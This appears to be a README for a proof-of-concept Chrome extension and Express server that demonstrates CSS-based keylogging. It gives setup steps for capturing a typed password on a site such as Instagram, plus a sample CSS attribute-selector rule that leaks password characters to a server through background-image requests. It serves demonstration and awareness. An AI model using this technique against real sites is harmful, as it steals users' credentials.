Chrome extension and Express server that exploits keylogging abilities of CSS.
- Download repository
git clone https://github.com/maxchehab/CSS-Keylogging
- Visit
chrome://extensions
in your browser (or open up the Chrome menu by clicking the icon to the far right of the Omnibox: The menu's icon is three horizontal bars. and select Extensions under the More Tools menu to get to the same place). - Ensure that the Developer mode checkbox in the top right-hand corner is checked.
- Click
Load unpacked extension…
to pop up a file-selection dialog. - Select the
css-keylogger-extension
in the directory which you downloaded this repository.
yarn
yarn start
- Open a website that uses a controlled component framework such as React. https://instagram.com.
- Press the extension
C
on the top right of any webpage. - Type your password.
- Your password should be captured by the express server.
This attack is really simple. Utilizing CSS attribute selectors, one can request resources from an external server under the premise of loading a background-image
.
For example, the following css will select all input's with a type
that equals password
and a value
that ends with a
.
It will then try to load an image from http://localhost:3000/a
.
input[type="password"][value$="a"] {
background-image: url("http://localhost:3000/a");
}
Using a simple script one can create a css file that will send a custom request for every ASCII character.